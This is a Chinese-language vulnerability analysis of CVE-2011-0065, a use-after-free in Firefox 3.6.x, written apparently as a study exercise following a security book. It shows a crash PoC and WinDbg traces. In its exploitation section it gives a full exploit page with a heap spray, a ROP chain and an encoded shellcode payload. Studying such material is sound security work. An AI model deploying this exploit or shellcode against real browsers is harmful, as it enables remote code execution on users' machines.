cve-2011-0065
漏洞简介
在Firefox浏览器3.5.19之前的版本,以及3.6.17之前的3.6.x版本中存在UAF漏洞,mChannel对象在被释放后,成为了悬挂指针,然后又在后面被重新引用,导致利用漏洞可执行任意代码。
测试环境
操作系统 Win XP SP3
火狐版本 3.6.16
漏洞分析
poc:
<html>
<body>
<object id="d"><object>
<script type="text/javascript">
var e;
e=document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object('0c'),0);
e.data = "";
</script>
</body>
</html>
作者原书中用的是Win7作为分析,我原本也是用这个的,但后来在操作的过程中发现我在漏洞的现场所得到的代码和作者以及网上找的其他人的都不同,包括栈回溯栈上函数名均不同。我得到的是如下代码,但在栈回溯中看返回地址所在的函数时,里面的代码却和作者是相同的,这就证明了我的分析没有问题,但就是函数名的不对应。
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=045e3200 ebx=049f9044 ecx=04580c00 edx=057072b0 esi=804b0002 edi=80000000
eip=02e4e55c esp=0012f604 ebp=0012f814 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
02e4e55c c033e5 sal byte ptr [ebx],0E5h ds:0023:049f9044=f0
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:Program FilesMozilla Firefoxxul.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:Program FilesMozilla Firefoxnspr4.dll -
0:000> kv
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012f600 107f4e75 045e3200 804b0002 00000000 0x2e4e55c
0012f814 107f5659 049f9044 044a6a80 00000001 xul!gfxFontUtils::ReadNames+0x14735
0012f844 107f6155 049f9044 0012f8fc 00000001 xul!gfxFontUtils::ReadNames+0x14f19
0012f9b0 0037d120 72c68d20 00376bdf 0000000a xul!gfxFontUtils::ReadNames+0x15a15
0012f9e8 107f61a3 049f9020 00000001 100b2902 nspr4!PR_Now+0x40
0012f9f4 100b2902 00000001 04157d00 059cb600 xul!gfxFontUtils::ReadNames+0x15a63
0012fa10 100b21d2 00000048 00000000 00000000
xul!gfxMatrix::HasNonTranslation+0x2c52
00000000 00000000 00000000 00000000 00000000
xul!gfxMatrix::HasNonTranslation+0x2522
0:000> ub 107f4e75
xul!gfxFontUtils::ReadNames+0x1471f:
107f4e5f 8bce mov ecx,esi
107f4e61 e81a6991ff call xul!NS_CycleCollectorSuspect2_P+0x2a0 (1010b780)
107f4e66 8b4350 mov eax,dword ptr [ebx+50h]
107f4e69 8b08 mov ecx,dword ptr [eax]
107f4e6b be02004b80 mov esi,804B0002h
107f4e70 56 push esi
107f4e71 50 push eax
107f4e72 ff5118 call dword ptr [ecx+18h]
原本认为这不是个什么大问题,但看下去发现作者是通过分析poc中有的onChannelRedirect函数来定位漏洞点,我尝试寻找这个函数却发现找到不。也应该还是函数名的问题。
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new
Object('0c'),0);
0:000> x xul!*::onChannelRedirect
后来才发现因为火狐符号包没有导入的原因,所以出现了函数名不正确的问题,之后一直导入不了符号包,那就无法根据作者的方法来定位漏洞位置。还好后来在网上找到了一篇是用Win XP调试的文章,那如果换成xp就不会有ASLR的烦恼,函数的地址也是确定的,可以通过那篇文章找到的onChannelRedirect的地址来定位我这里想要找的。找到了104623b0就是onChannelRedirect函数的地址。
0:000> u 104623b0
xul!JSD_GetClosestLine+0x10f5c:
104623b0 8b4c2408 mov ecx,dword ptr [esp+8]
104623b4 56 push esi
104623b5 8b742408 mov esi,dword ptr [esp+8]
104623b9 3b4e1c cmp ecx,dword ptr [esi+1Ch]
104623bc 7407 je xul!JSD_GetClosestLine+0x10f71 (104623c5)
104623be b802004b80 mov eax,804B0002h
104623c3 eb1a jmp xul!JSD_GetClosestLine+0x10f8b (104623df)
104623c5 8b4624 mov eax,dword ptr [esi+24h]
将断点下在onChannelRedirect函数后运行。[esi+1Ch]就是指mChannel对象。
0:000> uf 104623b0
xul!JSD_GetClosestLine+0x10f5c:
104623b0 8b4c2408 mov ecx,dword ptr [esp+8]
104623b4 56 push esi
104623b5 8b742408 mov esi,dword ptr [esp+8]
104623b9 3b4e1c cmp ecx,dword ptr [esi+1Ch]
104623bc 7407 je xul!JSD_GetClosestLine+0x10f71 (104623c5)
xul!JSD_GetClosestLine+0x10f6a:
104623be b802004b80 mov eax,804B0002h
104623c3 eb1a jmp xul!JSD_GetClosestLine+0x10f8b (104623df)
xul!JSD_GetClosestLine+0x10f71:
104623c5 8b4624 mov eax,dword ptr [esi+24h]
104623c8 85c0 test eax,eax
104623ca 57 push edi
104623cb 8b7c2414 mov edi,dword ptr [esp+14h]
104623cf 7408 je xul!JSD_GetClosestLine+0x10f85 (104623d9)
xul!JSD_GetClosestLine+0x10f7d:
104623d1 8b10 mov edx,dword ptr [eax]
104623d3 57 push edi
104623d4 51 push ecx
104623d5 50 push eax
104623d6 ff5210 call dword ptr [edx+10h]
xul!JSD_GetClosestLine+0x10f85:
104623d9 897e1c mov dword ptr [esi+1Ch],edi
104623dc 33c0 xor eax,eax
104623de 5f pop edi
xul!JSD_GetClosestLine+0x10f8b:
104623df 5e pop esi
104623e0 c21000 ret 10h
这是ida反汇编的伪代码,说实在的,反汇编的挺抽象的。
signed int __stdcall sub_104623B0(int a1, int a2, int a3, int a4)
{
int v5; // eax
if ( a2 != *(_DWORD *)(a1 + 28) )
return -2142568446;
v5 = *(_DWORD *)(a1 + 36);
if ( v5 )
(*(void (__stdcall **)(int, int, int))(*(_DWORD *)v5 + 16))(v5, a2, a3);
*(_DWORD *)(a1 + 28) = a3;
return 0;
}
实际的反汇编应该是这样的。
If(aOldChannel !=mChannel)
{
Return NS_BINDING_ABORTED;
}
If(mClassifier){
mClassifier->OnRedirect(aOldChannel,aNewChannel);
}
因为Firefox本身的垃圾回收机制,在OnChannelRedirect函数调用完毕后,它会回收不再使用的对象,然后mChannel就成了悬挂指针。在后面被重新调用,产生了漏洞。后面分析的时候又出现了一点问题,本来接下去应该往下分析哪里重新引用了已经释放的对象,但我这下断点的时候却下不到那个位置,一直卡在了这个位置,f5也出不去。
0:017> bp 107f5659
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:Program FilesMozilla Firefoxxul.dll -
0:017> bl
0 e 107f5659 0001 (0001) 0:**** xul!gfxFontUtils::ReadNames+0x14f19
0:017> g
(3e4.a80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=066b9a60 ebx=066fcf84 ecx=05458400 edx=06d76d30 esi=804b0002 edi=80000000
eip=0237ec7c esp=0012f604 ebp=0012f814 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0237ec7c 60 pushad
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:Program FilesMozilla Firefoxnspr4.dll -
0:000> g
(3e4.a80): Access violation - code c0000005 (!!! second chance !!!)
eax=066b9a60 ebx=066fcf84 ecx=05458400 edx=06d76d30 esi=804b0002 edi=80000000
eip=0237ec7c esp=0012f604 ebp=0012f814 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0237ec7c 60 pushad
也无法定位到xul!gfxFontUtils::ReadName这个的位置。
0:000> kv
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012f600 107f4e75 0964a8a0 804b0002 00000000 0x31212d4
0012f814 107f5659 0b0d5764 0484e030 00000001 xul!gfxFontUtils::ReadNames+0x14735
0012f844 107f6155 0b0d5764 0012f8fc 00000001 xul!gfxFontUtils::ReadNames+0x14f19
0012f9b0 0037d120 a0493d40 00376bf5 0000000a xul!gfxFontUtils::ReadNames+0x15a15
0012f9e8 107f61a3 0b0d5740 00000001 100b2902 nspr4!PR_Now+0x40
0012f9f4 100b2902 00000001 05596480 030fbe00 xul!gfxFontUtils::ReadNames+0x15a63
0012fa10 100b21d2 00000048 00000000 00000000
xul!gfxMatrix::HasNonTranslation+0x2c52
00000000 00000000 00000000 00000000 00000000
xul!gfxMatrix::HasNonTranslation+0x2522
0:000> ub 107f4e75
xul!gfxFontUtils::ReadNames+0x1471f:
107f4e5f 8bce mov ecx,esi
107f4e61 e81a6991ff call xul!NS_CycleCollectorSuspect2_P+0x2a0 (1010b780)
107f4e66 8b4350 mov eax,dword ptr [ebx+50h]
107f4e69 8b08 mov ecx,dword ptr [eax]
107f4e6b be02004b80 mov esi,804B0002h
107f4e70 56 push esi
107f4e71 50 push eax
107f4e72 ff5118 call dword ptr [ecx+18h]
0:000> bu xul!gfxFontUtils::ReadNames+0x1471f
Matched: 107e04e8 xul!gfxFontUtils::ReadNames (<no parameter info>)
Matched: 107e0740 xul!gfxFontUtils::ReadNames (<no parameter info>)
Ambiguous symbol error at 'xul!gfxFontUtils::ReadNames+0x1471f'
0:000> u 107e0740
xul!gfxFontUtils::ReadNames:
107e0740 ff742410 push dword ptr [esp+10h]
107e0744 ff742410 push dword ptr [esp+10h]
107e0748 6aff push 0FFFFFFFFh
107e074a ff742414 push dword ptr [esp+14h]
107e074e ff742414 push dword ptr [esp+14h]
107e0752 e891fdffff call xul!gfxFontUtils::ReadNames (107e04e8)
107e0757 83c414 add esp,14h
107e075a c3 ret
0:000> bu 107e04e8
0:000> bp 107e04e8
0:000> g
(9f8.3ec): Break instruction exception - code 80000003 (first chance)
eax=7ffd6000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=0358ffcc ebp=0358fff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:019> g
(9f8.cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0360c8d0 ebx=096701c4 ecx=03677000 edx=02f899d0 esi=804b0002 edi=80000000
eip=02f5431c esp=0012f604 ebp=0012f814 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
02f5431c 40 inc eax
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:Program FilesMozilla Firefoxnspr4.dll -
0:000> g
(9f8.cc): Access violation - code c0000005 (!!! second chance !!!)
eax=0360c8d0 ebx=096701c4 ecx=03677000 edx=02f899d0 esi=804b0002 edi=80000000
eip=02f5431c esp=0012f604 ebp=0012f814 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02f5431c 40 inc eax
也不知道是什么原因。
漏洞利用
exp:
<html>
<body>
<object id="d"><object>
<script type="text/javascript">
e = document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
fake_obj_addr = unescape("\x1C%u0c0c")
//%
// taken and modified from adobe_flashplayer_newfunction.rb %u1a77%u3e43 65e3f263 7D66A4E8
var sc = unescape("%u4141%u4141%u0028%u0c0c%uc012%u5ddb%u4141%u4141%ua4e8%u7d66%u4141%u4141%uffae%u65e3%u4141%u4141%u0028%u0c0c%u4141%u4141%u4141%u4141%u4141%u4141%u1ad4%u7c80%u0084%u0c0c%u0028%u0c0c%u0400%u0000%u0040%u0000%u0028%u0c0c%uf00d%ubeef%u4413%u7c87%u0048%u0c0c%u0c00%u0c0c%u0400%u0000%u0040%u0000%u7174%u7276%u8646%ub0fc%u677b%u85bf%ubed6%u4fa8%uf987%u109b%uebd1%u2425%u0591%u349f%u9892%u3c4b%u731d%u7c78%u0c75%u42b7%ub997%u4e8d%ue389%ua927%u437f%u1c93%ub596%ud53b%ub6b4%u7748%u3115%uc7fe%uf8c0%u492c%u354a%u90b3%ud422%u14b1%ue083%ufd03%u2ab2%u3fe2%uf588%uba99%u047a%u2fb8%u7947%u3d2d%u7679%ubb41%ubba9%ub6b5%u2c71%u93ba%u2173%u7de1%u983d%u3fb1%ub88d%u9937%u6b14%u2ff9%u9134%u664f%u9fa8%u277e%u7a4e%u0147%u25e2%u2b46%u0cfd%u1cb2%u3590%ub9b3%u1d77%uf680%u3cd6%ueb8c%u1240%u3af8%u2dd4%u677f%u7241%u087c%u33e0%u0dfc%u9b97%u4b96%uf51b%ue381%u0543%u7b70%u0474%u00b0%ub4d5%ub724%u4978%u4a75%u1592%u48bf%ube42%u7c99%u7714%u9142%u2cb7%u24be%u9b2d%u7d71%u7b7a%u663f%u4398%u7973%ud428%u3d70%ub2b5%u0592%ub347%ubb96%u34b8%ub44a%ub904%u3578%ufc18%u904f%u41a8%ue211%ue30a%ud01a%ud6d2%u8da9%u0c7f%u4627%u13bf%ud3f7%ub1f8%u4840%u3715%u9f97%u3c75%uf50b%ud539%u7293%u324b%u30eb%ub6f9%u1949%uc1ff%u25e1%ue029%ufd38%ub067%u4e1c%u1dba%u742f%u760d%u7c7e%u277d%u4273%ufd02%u2d79%ua99b%ub11d%u7598%uf803%u7f35%ue320%u3f43%ub8ba%u7b9f%uf52b%u7a92%ub42c%u3dbe%u7191%u7072%ub766%u1c2f%ubf15%ub367%ubbb9%ue084%u4a41%u8925%u0cf9%u7677%ufc13%ueb81%u0d46%u4f90%u2147%u78d6%u9914%ud469%u05b2%u3cb5%u88b6%u4be1%u4897%u8da8%u24b0%u3334%u4ed5%u4093%u7496%u4904%ue20a%u7e37%u277f%u70b5%ue201%ub034%u7974%u1c7b%ud480%u4a8d%ua9b3%ue08c%u777e%u7204%u9947%ud232%u0dfc%u3776%u247a%u0b2f%ue1d1%u413f%ub8b2%u391d%u4ff5%ub625%u752d%u2973%u91f8%u909f%u4b7c%ue308%uf712%uc0c6%u9bfd%ua8b7%u40b9%u6796%u052c%u7149%u9843%u3cb1%u1935%u78eb%u9366%u144e%ud530%u9215%ubf0c%ubb42%u487d%u3dbe%ub4ba%ud687%u1146%u97f9%ueb20%u7f74%u777d%u4079%u8d3c%u0c9f%u4292%ufd6b%u97ba%ud618%ub798%uf909%u78b6%u7375%ub447%u227b%u23e0%ue3c1%ub02f%u1d70%u0035%u02e1%ub9d4%u7c37%uf83a%ue228%u717a%ud51b%u1472%u9646%u4148%ufc3b%u3d0d%u913f%ub3b2%ubb67%u9905%u2576%u1566%u93a9%ubfb8%u4a90%u7ea8%ueb31%u8434%u4fe2%u1c7b%u7cbe%u754e%uf538%u277a%ud085%u10e3%ue1d3%u724b%u7f2c%u7604%u8343%ue0f6%u9b49%u2d78%u247e%ub1b5%u3d70%u992d%u714f%ubb25%u9f48%u8da8%u3c7d%ubf9b%u4234%u1473%u4a41%u77b2%u9015%ufd40%u374b%u921c%u793f%u2c24%u1dd5%u0493%ub6b8%u4727%ub3b4%ua9b9%u67b5%ubad6%ube46%u49b1%u7491%u2a05%u0cf8%u2f98%u0df5%u4e96%u1a97%ub0d4%u6635%uf986%ufcb7%udb43%ub8d7%u42b3%u12d2%u74d9%uf424%u295f%ub1c9%u3144%u1947%u4703%u8319%ufcef%ub751%uf90b%ue10e%udad8%u23c4%u91f3%u7553%ub13a%u0410%ub18c%ueb50%ub367%u7880%u3431%u0033%ucf9e%uc575%ud791%uc60c%ue977%ud73f%u8969%u4434%u6e4e%ud0c1%ue5b2%uf281%uf8b2%u88c3%ue309%ud598%u12ad%u0a75%u5d99%uf902%u5c69%u33fa%u6e91%uc8c2%u15c1%u4402%ud71d%ua84d%u1020%u47ba%ue219%u8018%ufb2b%u8aeb%ufaf7%u4c00%uf073%u1a9d%u15d9%uf620%u2155%u09a9%ua382%u2de9%ud54e%u9f32%u3c66%u6960%ub793%u024a%u86d2%u3f44%ufeb8%u40c7%u00c2%ufb7e%u4439%udcfe%uc9a0%uc079%u7c00%u776d%u7fb7%u0192%u880d%u7e04%ua8e2%u1695%u9ac9%u833b%uae45%u2e30%ud8e4%u94ea%u5002%u83f4%u37ed%ua2fc%ue8d0%u1c47%u4576%uda0b%u726b%u0d21%u85f2%u323a%u169d%u95bc%u817e%u415d%u131a%uc0f5%ue081%uea76%u8f92%u2824%u192f%u5837%u3977%ub997%u74ef%uff84%ueece%u6f58%ucf7c%u00f4%u2f52%ub762%u4ae2%u2b06%u5dc2%uff5e%u4e00%ue1d7%ubc78%ub2b5%u122b%ue5c6%u52fd%uf968%u5aab")
var ret_addr = unescape("%u0024%u0c0c")
while(ret_addr.length+20+8 < 0x100000-18-12-12-12) {ret_addr += ret_addr}
var b = ret_addr.substring(0,(0x48-0x24)/2)
b += sc
b += ret_addr
var next = b.substring(0,0x10000/2)
while(next.length<0x800000) {next += next}
var again = next.substring(0,0x80000 - (0x1020-0x08)/2)
array = new Array()
for (n=0;n<0x1f0;n++){
array[n] = again + sc
}
e.data = ""
</script></body></html>
这段代码会在onChannelRedirect函数释放之后重新在创建一个和前面释放掉一样大的内存,地址在0x0c0c001c,这个内存会成为mChannel对象指向的,然后后面别重新利用,虚表指针就会指向0x0c0c001c。后面再用堆喷技术将shellcode喷到0x0c0c001c附近就可以实现劫持eip了。
e = document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new
Object,0)
fake_obj_addr = unescape("x1C%u0c0c")
参考链接
《漏洞战争》
<https://whereisk0shl.top/post/2017-05-14>